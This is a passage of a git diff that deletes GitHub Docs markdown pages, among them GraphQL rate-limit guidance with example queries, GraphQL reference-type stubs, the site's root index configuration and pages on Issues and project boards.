(as opposed to installation access tokens) are dictated by the primary rate limit for users. -* _For {% data variables.product.prodname_github_app %} installations on a {% data variables.product.prodname_ghe_cloud %} organization_: 10,000 points per hour per installation. The rate limit for user access tokens (as opposed to installation access tokens) are dictated by the primary rate limit for users. -* _For {% data variables.product.prodname_oauth_apps %}_: 5,000 points per hour, or 10,000 points per hour if the app is owned by a {% data variables.product.prodname_ghe_cloud %} organization. This only applies when the app uses their client ID and client secret to request public data. The rate limit for OAuth access tokens generated by a {% data variables.product.prodname_oauth_app %} are dictated by the primary rate limit for users. -* _For `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} workflows_: 1,000 points per hour per repository. For requests to resources that belong to an enterprise account on GitHub.com, the limit is 15,000 points per hour per repository. - -You can check the point value of a query or calculate the expected point value as described in the following sections. The formula for calculating points and the rate limit are subject to change. - -### Checking the status of your primary rate limit - -You can use the headers that are sent with each response to determine the current status of your primary rate limit. - -Header name | Description ------------|-----------| -`x-ratelimit-limit` | The maximum number of points that you can use per hour -`x-ratelimit-remaining` | The number of points remaining in the current rate limit window -`x-ratelimit-used` | The number of points you have used in the current rate limit window -`x-ratelimit-reset` | The time at which the current rate limit window resets, in UTC epoch seconds -`x-ratelimit-resource` | The rate limit resource that the request counted against. For GraphQL requests, this will always be `graphql`. - -You can also query the `rateLimit` object to check your rate limit. When possible, you should use the rate limit response headers instead of querying the API to check your rate limit. - -```graphql -query { - viewer { - login - } - rateLimit { - limit - remaining - used - resetAt - } -} -``` - -Field | Description ------------|-----------| -`limit` | The maximum number of points that you can use per hour -`remaining` | The number of points remaining in the current rate limit window -`used` | The number of points you have used in the current rate limit window -`resetAt` | The time at which the current rate limit window resets, in UTC epoch seconds - -### Returning the point value of a query - -You can return the point value of a query by querying the `cost` field on the `rateLimit` object: - -```graphql -query { - viewer { - login - } - rateLimit { - cost - } -} -``` - -### Predicting the point value of a query - -You can also roughly calculate the point value of a query before you make the query. - -1. Add up the number of requests needed to fulfill each unique connection in the call. Assume every request will reach the `first` or `last` argument limits. -1. Divide the number by **100** and round the result to the nearest whole number to get the final aggregate point value. This step normalizes large numbers. - -> [!NOTE] -> The minimum point value of a call to the GraphQL API is **1**. - -Here's an example query and score calculation: - -```graphql -query { - viewer { - login - repositories(first: 100) { - edges { - node { - id - - issues(first: 50) { - edges { - node { - id - - labels(first: 60) { - edges { - node { - id - name - } - } - } - } - } - } - } - } - } - } -} -``` - -This query requires 5,101 requests to fulfill: - -* Although we're returning 100 repositories, the API has to connect to the viewer's account **once** to get the list of repositories. So, requests for repositories = **1** -* Although we're returning 50 issues, the API has to connect to each of the **100** repositories to get the list of issues. So, requests for issues = **100** -* Although we're returning 60 labels, the API has to connect to each of the **5,000** potential total issues to get the list of labels. So, requests for labels = **5,000** -* Total = **5,101** - -Dividing by 100 and rounding gives us the final score of the query: **51** - -## Secondary rate limits - -{% data reusables.rest-api.secondary-rate-limit-rest-graphql %} - -## Exceeding the rate limit - -If you exceed your primary rate limit, the response status will still be `200`, but you will receive an error message, and the value of the `x-ratelimit-remaining` header will be `0`. You should not retry your request until after the time specified by the `x-ratelimit-reset` header. - -If you exceed a secondary rate limit, the response status will be `200` or `403`, and you will receive an error message that indicates that you hit a secondary rate limit. If the `retry-after` response header is present, you should not retry your request until after that many seconds has elapsed. If the `x-ratelimit-remaining` header is `0`, you should not retry your request until after the time, in UTC epoch seconds, specified by the `x-ratelimit-reset` header. Otherwise, wait for at least one minute before retrying. If your request continues to fail due to a secondary rate limit, wait for an exponentially increasing amount of time between retries, and throw an error after a specific number of retries. - -Continuing to make requests while you are rate limited may result in the banning of your integration. - -## Staying under the rate limit - -To avoid exceeding a rate limit, you should pause at least 1 second between mutative requests and avoid concurrent requests. - -You should also subscribe to webhook events instead of polling the API for data. For more information, see [AUTOTITLE](/webhooks). - -You can also stream the audit log in order to view API requests. This can help you troubleshoot integrations that are exceeding the rate limit. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -## Timeouts - -If {% data variables.product.github %} takes more than 10 seconds to process an API request, {% data variables.product.github %} will terminate the request and you will receive a timeout response and a message reporting that "We couldn't respond to your request in time". - -{% data variables.product.github %} reserves the right to change the timeout window to protect the speed and reliability of the API. - -You can check the status of the GraphQL API at [githubstatus.com](https://www.githubstatus.com/) to determine whether the timeout is due to a problem with the API. You can also try to simplify your request or try your request later. For example, if you are requesting a large number of objects in a single request, you can try requesting fewer objects split over multiple queries. - -{% endif %} diff --git a/content/graphql/overview/schema-previews.md b/content/graphql/overview/schema-previews.md deleted file mode 100644 index 5e66caac15be..000000000000 --- a/content/graphql/overview/schema-previews.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Schema previews -intro: 'You can preview upcoming features and changes to the {% data variables.product.prodname_dotcom %} GraphQL schema before they are added to the {% data variables.product.prodname_dotcom %} GraphQL API.' -redirect_from: - - /v4/previews -versions: - ghes: '<=3.12' -topics: - - API -autogenerated: graphql ---- - -## About schema previews - -During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice. - -To access a schema preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide. - -> [!NOTE] -> The GraphQL schema members under preview cannot be accessed via the Explorer at this time. - - diff --git a/content/graphql/reference/enums.md b/content/graphql/reference/enums.md deleted file mode 100644 index 14eec69fa811..000000000000 --- a/content/graphql/reference/enums.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Enums -intro: Enums represent possible sets of values for a field. -redirect_from: - - /v4/enum - - /v4/reference/enum -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About enums - -[Enums](https://spec.graphql.org/June2018/#sec-Enums) represent possible sets of values for a field. - -For example, the [`Issue`](/graphql/reference/objects#issue) object has a field called `state`. The state is an enum (specifically, of type [`IssueState`](/graphql/reference/enums#issuestate)) because it may be `OPEN` or `CLOSED`. - -For more information, see [AUTOTITLE](/graphql/guides/introduction-to-graphql). - - diff --git a/content/graphql/reference/index.md b/content/graphql/reference/index.md deleted file mode 100644 index 1632122b8b85..000000000000 --- a/content/graphql/reference/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Reference -intro: 'View reference documentation to learn about the data types available in the {% data variables.product.prodname_dotcom %} GraphQL API schema.' -redirect_from: - - /v4/reference -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /queries - - /mutations - - /objects - - /interfaces - - /enums - - /unions - - /input-objects - - /scalars -autogenerated: graphql ---- - - - - \ No newline at end of file diff --git a/content/graphql/reference/input-objects.md b/content/graphql/reference/input-objects.md deleted file mode 100644 index 4954ba360e70..000000000000 --- a/content/graphql/reference/input-objects.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Input objects -intro: Input objects can be described as "composable objects" because they include a set of input fields that define the object. -redirect_from: - - /v4/input_object - - /v4/reference/input_object -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About input objects - -[Input objects](https://spec.graphql.org/June2018/#sec-Input-Objects) can be described as "composable objects" because they include a set of input fields that define the object. - -For example, [`CommitAuthor`](/graphql/reference/input-objects#commitauthor) takes a field called `emails`. Providing a value for `emails` transforms `CommitAuthor` into a list of `User` objects containing that email address. Note that [objects](/graphql/reference/objects) **may** have input objects, whereas [mutations](/graphql/reference/mutations) **require** input objects. - -For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#about-mutations). - - diff --git a/content/graphql/reference/interfaces.md b/content/graphql/reference/interfaces.md deleted file mode 100644 index 854fe4bad8dc..000000000000 --- a/content/graphql/reference/interfaces.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Interfaces -intro: Interfaces serve as parent objects from which other objects can inherit. -redirect_from: - - /v4/interface - - /v4/reference/interface -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About interfaces - -[Interfaces](https://spec.graphql.org/June2018/#sec-Interfaces) serve as parent objects from which other objects can inherit. - -For example, [`Lockable`](/graphql/reference/interfaces#lockable) is an interface because both [`Issue`](/graphql/reference/objects#issue) and [`PullRequest`](/graphql/reference/objects#pullrequest) objects can be locked. An interface has its own list of named fields that are shared by implementing objects. - -For more information, see [AUTOTITLE](/graphql/guides/introduction-to-graphql#implementation). - - diff --git a/content/graphql/reference/mutations.md b/content/graphql/reference/mutations.md deleted file mode 100644 index 5172b04b7716..000000000000 --- a/content/graphql/reference/mutations.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Mutations -intro: The mutation type defines GraphQL operations that change data on the server. -redirect_from: - - /v4/mutation - - /v4/reference/mutation -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About mutations - -Every GraphQL schema has a root type for both queries and mutations. The [mutation type](https://spec.graphql.org/June2018/#sec-Type-System) defines GraphQL operations that change data on the server. It is analogous to performing HTTP verbs such as `POST`, `PATCH`, and `DELETE`. - -For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#about-mutations). - - diff --git a/content/graphql/reference/objects.md b/content/graphql/reference/objects.md deleted file mode 100644 index 7f9deddef6d8..000000000000 --- a/content/graphql/reference/objects.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Objects -intro: Objects in GraphQL represent the resources you can access. -redirect_from: - - /v4/object - - /v4/reference/object -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About objects - -[Objects](https://spec.graphql.org/June2018/#sec-Objects) in GraphQL represent the resources you can access. An object can contain a list of fields, which are specifically typed. - -For example, the [`Repository`](/graphql/reference/objects#repository) object has a field called `name`, which is a `String`. - -For more information, see [AUTOTITLE](/graphql/guides/introduction-to-graphql). - - diff --git a/content/graphql/reference/queries.md b/content/graphql/reference/queries.md deleted file mode 100644 index 0f31922c25fa..000000000000 --- a/content/graphql/reference/queries.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Queries -intro: The query type defines GraphQL operations that retrieve data from the server. -redirect_from: - - /v4/query - - /v4/reference/query -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About queries - -Every GraphQL schema has a root type for both queries and mutations. The [query type](https://spec.graphql.org/June2018/#sec-Type-System) defines GraphQL operations that retrieve data from the server. - -For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#about-queries). - -> [!NOTE] -> For {% data variables.product.prodname_github_app %} requests made with user access tokens, you should use separate queries for issues and pull requests. For example, use the `is:issue` or `is:pull-request` filters and their equivalents. Using the `search` connection to return a combination of issues and pull requests in a single query will result in an empty set of nodes. - - diff --git a/content/graphql/reference/scalars.md b/content/graphql/reference/scalars.md deleted file mode 100644 index 305bcf8ee140..000000000000 --- a/content/graphql/reference/scalars.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Scalars -intro: 'Scalars are primitive values Int, Float, String, Boolean, or ID.' -redirect_from: - - /v4/scalar - - /v4/reference/scalar -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About scalars - -[Scalars](https://spec.graphql.org/June2018/#sec-Scalars) are primitive values: `Int`, `Float`, `String`, `Boolean`, or `ID`. - -When calling the GraphQL API, you must specify nested subfields until you return only scalars. - -For more information, see [AUTOTITLE](/graphql/guides/introduction-to-graphql#field). - - diff --git a/content/graphql/reference/unions.md b/content/graphql/reference/unions.md deleted file mode 100644 index d679c6373f05..000000000000 --- a/content/graphql/reference/unions.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Unions -intro: A union is a type of object representing many objects. -redirect_from: - - /v4/union - - /v4/reference/union -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: graphql ---- - -## About unions - -A [union](https://spec.graphql.org/June2018/#sec-Unions) is a type of object representing many objects. - -For example, a field marked as an [`ProjectCardItem`](/graphql/reference/unions#projectcarditem) could be an [`Issue`](/graphql/reference/objects#issue) or a [`PullRequest`](/graphql/reference/objects#pullrequest) because each of those objects can be inside a project card. Using a union instead of an object gives you flexibility. - -For more information, see [AUTOTITLE](/graphql/guides/introduction-to-graphql). - - diff --git a/content/index.md b/content/index.md deleted file mode 100644 index 28104dbab921..000000000000 --- a/content/index.md +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: '{% data variables.product.github %}{% ifversion fpt or ghec%}.com{% endif %} Help Documentation' -featuredLinks: - gettingStarted: - - /get-started/git-basics/set-up-git - - /authentication/connecting-to-github-with-ssh - - /repositories/creating-and-managing-repositories - - /get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax - popular: - - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests - - /authentication - - /copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot - - /get-started/git-basics/managing-remote-repositories - - /pages -redirect_from: - - /github - - /articles - - /common-issues-and-questions - - /troubleshooting-common-issues - - /early-access/github/enforcing-best-practices-with-github-policies - - /github/enforcing-best-practices-with-github-policies/index - - /early-access/github/enforcing-best-practices-with-github-policies/about-github-policies - - /github/enforcing-best-practices-with-github-policies/about-github-policies - - /early-access/github/enforcing-best-practices-with-github-policies/constraints - - /github/enforcing-best-practices-with-github-policies/constraints - - /early-access/github/enforcing-best-practices-with-github-policies/contexts - - /github/enforcing-best-practices-with-github-policies/contexts - - /early-access/github/enforcing-best-practices-with-github-policies/expressions - - /github/enforcing-best-practices-with-github-policies/expressions - - /early-access/github/enforcing-best-practices-with-github-policies/getting-started - - /early-access/github/enforcing-best-practices-with-github-policies/github-policies-vision - - /github/enforcing-best-practices-with-github-policies/github-policies-vision - - /early-access/github/enforcing-best-practices-with-github-policies/onboarding - - /github/enforcing-best-practices-with-github-policies/onboarding - - /early-access/github/enforcing-best-practices-with-github-policies/overview - - /github/enforcing-best-practices-with-github-policies/overview - - /early-access/github/enforcing-best-practices-with-github-policies/release-notes - - /github/enforcing-best-practices-with-github-policies/release-notes - - /early-access/github/enforcing-best-practices-with-github-policies/resources - - /github/enforcing-best-practices-with-github-policies/resources - - /early-access/github/enforcing-best-practices-with-github-policies/sharing - - /github/enforcing-best-practices-with-github-policies/sharing - - /early-access/github/enforcing-best-practices-with-github-policies/syntax - - /github/enforcing-best-practices-with-github-policies/syntax - - /site-policy/site-policy-deprecated/github-ae-data-protection-agreement - - /site-policy/site-policy-deprecated/github-ae-product-specific-terms -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - search - - get-started - - enterprise-onboarding - - account-and-profile - - authentication - - repositories - - admin - - billing - - site-policy - - organizations - - code-security - - pull-requests - - issues - - actions - - copilot - - codespaces - - migrations - - packages - - search-github - - apps - - webhooks - - rest - - graphql - - github-cli - - discussions - - sponsors - - communities - - pages - - education - - desktop - - early-access - - support - - video-transcripts - - contributing - - github-models - -childGroups: - - name: Get started - octicon: RocketIcon - children: - - get-started - - migrations - - account-and-profile - - authentication - - billing - - site-policy - - name: Collaborative coding - octicon: CommentDiscussionIcon - children: - - codespaces - - repositories - - pull-requests - - discussions - - name: GitHub Copilot - octicon: CopilotIcon - children: - - copilot - - copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot - - copilot/using-github-copilot/copilot-chat/prompt-engineering-for-copilot-chat - - copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github - - copilot/copilot-chat-cookbook - - copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions-using-agents - - name: CI/CD and DevOps - octicon: GearIcon - children: - - actions - - packages - - pages - - name: Security - octicon: ShieldLockIcon - children: - - code-security - - code-security/secret-scanning - - code-security/supply-chain-security - - code-security/dependabot - - code-security/code-scanning - - code-security/security-advisories - - name: Client apps - octicon: DeviceMobileIcon - children: - - github-cli - - get-started/using-github/github-mobile - - desktop - - name: Project management - octicon: ProjectIcon - children: - - issues - - issues/planning-and-tracking-with-projects - - search-github - - name: Enterprise and Teams - octicon: OrganizationIcon - children: - - organizations - - code-security/securing-your-organization - - enterprise-onboarding - - admin - - gh-wa - - name: Developers - octicon: CodeSquareIcon - children: - - apps - - rest - - graphql - - webhooks - - copilot/building-copilot-extensions - - github-models - - name: Community - octicon: GlobeIcon - children: - - communities - - sponsors - - education - - support - - contributing - - name: More docs - octicon: PencilIcon - children: - - codeql - - electron - - npm -externalProducts: - electron: - id: electron - name: Electron - href: 'https://electronjs.org/docs/latest' - external: true - codeql: - id: codeql - name: CodeQL query writing - href: 'https://codeql.github.com/docs' - external: true - npm: - id: npm - name: npm - href: 'https://docs.npmjs.com/' - external: true - gh-wa: - id: gh-wa - name: GitHub Well-Architected - href: 'https://wellarchitected.github.com/' - external: true ---- diff --git a/content/issues/guides.md b/content/issues/guides.md deleted file mode 100644 index e3502dcd065e..000000000000 --- a/content/issues/guides.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Guides for Issues -shortTitle: Guides -intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.' -allowTitleToDifferFromFilename: true -layout: product-guides -versions: - fpt: '*' - ghes: '*' - ghec: '*' -includeGuides: - - /issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions - - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project - - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view - - /issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects - - /issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects - - /issues/tracking-your-work-with-issues/configuring-issues/quickstart - - /issues/tracking-your-work-with-issues/using-issues/creating-an-issue - - /issues/tracking-your-work-with-issues/using-issues/filtering-and-searching-issues-and-pull-requests - - /issues/tracking-your-work-with-issues/configuring-issues/planning-and-tracking-work-for-your-team-or-project - - /issues/tracking-your-work-with-issues/using-issues/viewing-all-of-your-issues-and-pull-requests - - /issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards - - /issues/using-labels-and-milestones-to-track-work/managing-labels - - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests ---- diff --git a/content/issues/index.md b/content/issues/index.md deleted file mode 100644 index 00e246ab985d..000000000000 --- a/content/issues/index.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: "{% data variables.product.prodname_github_issues %} documentation" -shortTitle: "{% data variables.product.prodname_github_issues %}" -intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.' -introLinks: - overview: /issues/tracking-your-work-with-issues/about-issues - quickstart: /issues/tracking-your-work-with-issues/configuring-issues/quickstart -featuredLinks: - startHere: - - /issues/tracking-your-work-with-issues/using-issues/creating-an-issue - - /issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects - - /issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects - - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository - - /issues/tracking-your-work-with-issues/configuring-issues/planning-and-tracking-work-for-your-team-or-project - guideCards: - - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view - - /issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue - - '{% ifversion ghes %}/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards{% endif %}' - - /issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions - popular: - - /issues/tracking-your-work-with-issues/about-issues - - /issues/planning-and-tracking-with-projects/learning-about-projects/about-projects - - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project - - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates - - /issues/using-labels-and-milestones-to-track-work/managing-labels - - /issues/tracking-your-work-with-issues/using-issues/viewing-all-of-your-issues-and-pull-requests - - '{% ifversion ghes %}/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards{% endif %}' -layout: product-landing -beta_product: false -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /tracking-your-work-with-issues - - /planning-and-tracking-with-projects - - /organizing-your-work-with-project-boards - - /using-labels-and-milestones-to-track-work - - /guides -product_video: 'https://www.youtube-nocookie.com/embed/yFQ-p6wMS_Y' -product_video_transcript: /video-transcripts/transcript-using-projects-for-feature-planning -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests - - /github/managing-your-work-on-github/managing-your-work-with-issues - - /github/managing-your-work-on-github - - /categories/100/articles - - /categories/managing-projects - - /categories/managing-projects-on-github - - /categories/managing-your-work-on-github - - /about-issues - - /creating-an-issue - - /deleting-an-issue - - /opening-an-issue-from-a-comment - - /opening-an-issue-from-code - - /transferring-an-issue-to-another-repository - - /pinning-an-issue-to-your-repository - - /creating-a-permanent-link-to-a-code-snippet - - /managing-labels - - /about-task-lists - - /about-automation-for-issues-and-pull-requests-with-query-parameters - - /file-attachments-on-issues-and-pull-requests - - /assigning-issues-and-pull-requests-to-other-github-users - - /viewing-all-of-your-issues-and-pull-requests - - /disabling-issues - - /linking-a-pull-request-to-an-issue - - /about-duplicate-issues-and-pull-requests ---- diff --git a/content/issues/organizing-your-work-with-project-boards/index.md b/content/issues/organizing-your-work-with-project-boards/index.md deleted file mode 100644 index 4deb19447a84..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: 'Organizing your work with {% data variables.product.prodname_projects_v1 %}' -shortTitle: '{% data variables.product.prodname_projects_v1_caps %}' -intro: 'Use {% data variables.product.prodname_projects_v1 %} to manage your work on {% data variables.product.prodname_dotcom %}' -allowTitleToDifferFromFilename: true -versions: - feature: projects-v1 -topics: - - Issues - - Projects -children: - - /managing-project-boards - - /tracking-work-with-project-boards -redirect_from: - - /adding-issues-and-pull-requests-to-a-project-board - - /adding-notes-to-a-project-board - - /tracking-progress-on-your-project-board - - /filtering-cards-on-a-project-board - - /archiving-cards-on-a-project-board ---- - -{% data reusables.projects.project_boards_old %} diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md deleted file mode 100644 index f914aea0664a..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: 'About automation for {% data variables.product.prodname_projects_v1 %}' -intro: 'You can configure automatic workflows to keep the status of {% data variables.projects.projects_v1_board %} cards in sync with the associated issues and pull requests.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/about-automation-for-project-boards - - /articles/about-automation-for-project-boards - - /github/managing-your-work-on-github/about-automation-for-project-boards -versions: - feature: projects-v1 -topics: - - Pull requests -shortTitle: 'Automation for {% data variables.product.prodname_projects_v1 %}' -allowTitleToDifferFromFilename: true ---- -{% data reusables.projects.project_boards_old %} - -{% data reusables.project-management.automate-project-board-permissions %} For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -You can automate actions based on triggering events for {% data variables.projects.projects_v1_board %} columns. This eliminates some of the manual tasks in managing a {% data variables.projects.projects_v1_board %}. For example, you can configure a "To do" column, where any new issues or pull requests you add to a {% data variables.projects.projects_v1_board %} are automatically moved to the configured column. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards). - -{% data reusables.project-management.use-automated-template %} - -{% data reusables.project-management.copy-project-boards %} - -{% data variables.projects.projects_v1_board_caps %} automation can also help teams develop a shared understanding of a {% data variables.projects.projects_v1_board %}'s purpose and the team's development process by creating a standard workflow for certain actions. - -{% data reusables.project-management.resync-automation %} - -## Automation options - -| Column preset | Configuration options | -| --- | --- | -| To do |
  • Move all newly added issues here
  • Move all newly added pull requests here
  • Move all reopened issues here
  • Move all reopened pull requests here
| -| In progress |
  • Move all newly opened pull requests here
  • Move all reopened issues here
  • Move all reopened pull requests here
  • Move all pull requests that meet the base branch's minimum number of required reviews here
  • Move all pull requests that no longer meet the base branch's minimum number of required reviews here
| -| Done |
  • Move all closed issues here
  • Move all merged pull requests here
  • Move all closed, unmerged pull requests here
| - -## Project progress tracking - -You can track the progress on your {% data variables.projects.projects_v1_board %}. Cards in the "To do", "In progress", or "Done" columns count toward the overall project progress. {% data reusables.project-management.project-progress-locations %} - -For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/tracking-progress-on-your-project-board). - -## Further reading - -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards){% ifversion fpt or ghec %} -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board){% endif %} diff --git a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md deleted file mode 100644 index 984e356af05c..000000000000 --- a/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 'About {% data variables.product.prodname_projects_v1 %}' -intro: '{% data variables.product.prodname_projects_v1_caps %} on {% data variables.product.github %} help you organize and prioritize your work. {% ifversion projects-v1-can-create %} You can create {% data variables.projects.projects_v1_boards %} for specific feature work, comprehensive roadmaps, or even release checklists. With {% data variables.product.prodname_projects_v1 %}, you have the flexibility to create customized workflows that suit your needs.{% endif %}' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/about-project-boards - - /articles/about-projects - - /articles/about-project-boards - - /github/managing-your-work-on-github/about-project-boards - - /issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board -versions: - feature: projects-v1 -topics: - - Pull requests -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -{% data variables.projects.projects_v1_boards_caps %} are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can drag and drop or use keyboard shortcuts to reorder cards within a column, move cards from column to column, and change the order of columns. - -{% data variables.projects.projects_v1_board_caps %} cards contain relevant metadata for issues and pull requests, like labels, assignees, the status, and who opened it. {% data reusables.project-management.edit-in-project %} - -You can create notes within columns to serve as task reminders, references to issues and pull requests from any repository, or to add information related to the {% data variables.projects.projects_v1_board %}. You can create a reference card for another {% data variables.projects.projects_v1_board %} by adding a link to a note. If the note isn't sufficient for your needs, you can convert it to an issue. For more information on converting notes to issues, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board). - -Types of {% data variables.projects.projects_v1_boards %}: - -* **User-owned {% data variables.projects.projects_v1_board %}** can contain issues and pull requests from any personal repository. -* **Organization-wide {% data variables.projects.projects_v1_board %}** can contain issues and pull requests from any repository that belongs to an organization. {% data reusables.project-management.link-repos-to-project-board %} For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board). -* **Repository {% data variables.projects.projects_v1_board %}** are scoped to issues and pull requests within a single repository. They can also include notes that reference issues and pull requests in other repositories. - -## {% ifversion projects-v1-can-create %}Creating and viewing{% else %}Viewing{% endif %} {% data variables.projects.projects_v1_boards %} - -{% ifversion projects-v1-can-create %} - -To create a {% data variables.projects.projects_v1_board %} for your organization, you must be an organization member. Organization owners and people with {% data variables.projects.projects_v1_board %} admin permissions can customize access to the {% data variables.projects.projects_v1_board %}. - -{% data reusables.projects.owners-can-limit-visibility-permissions %} - -{% endif %} - -If an organization-owned {% data variables.projects.projects_v1_board %} includes issues or pull requests from a repository that you don't have permission to view, the card will be redacted. For more information, see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization). - -The activity view shows the {% data variables.projects.projects_v1_board %}'s recent history, such as cards someone created or moved between columns. To access the activity view, click **Menu** and scroll down. - -To find specific cards on a {% data variables.projects.projects_v1_board %} or view a subset of the cards, you can filter {% data variables.projects.projects_v1_board %} cards. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/filtering-cards-on-a-project-board). - -To simplify your workflow and keep completed tasks off your {% data variables.projects.projects_v1_board %}, you can archive cards. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board). - -If you've completed all of your {% data variables.projects.projects_v1_board %} tasks or no longer need to use your {% data variables.projects.projects_v1_board %}, you can close the {% data variables.projects.projects_v1_board %}. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board). - -You can also [disable {% data variables.projects.projects_v1_boards %} in a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository) or [disable {% data variables.projects.projects_v1_boards %} in your organization](/organizations/managing-organization-settings/disabling-project-boards-in-your-organization), if you prefer to track your work in a different way. - -{% ifversion projects-v1-can-create %}{% data reusables.project-management.project-board-import-with-api %}{% endif %} - -{% ifversion projects-v1-can-create %} - -## Templates for {% data variables.projects.projects_v1_boards %} - -You can use templates to quickly set up a new {% data variables.projects.projects_v1_board %}. When you use a template to create a {% data variables.projects.projects_v1_board %}, your new board will include columns as well as cards with tips for using {% data variables.product.prodname_projects_v1 %}. You can also choose a template with automation already configured. - -| Template | Description | -| --- | --- | -| Basic kanban | Track your tasks with To do, In progress, and Done columns | -| Automated kanban | Cards automatically move between To do, In progress, and Done columns | -| Automated kanban with review | Cards automatically move between To do, In progress, and Done columns, with additional triggers for pull 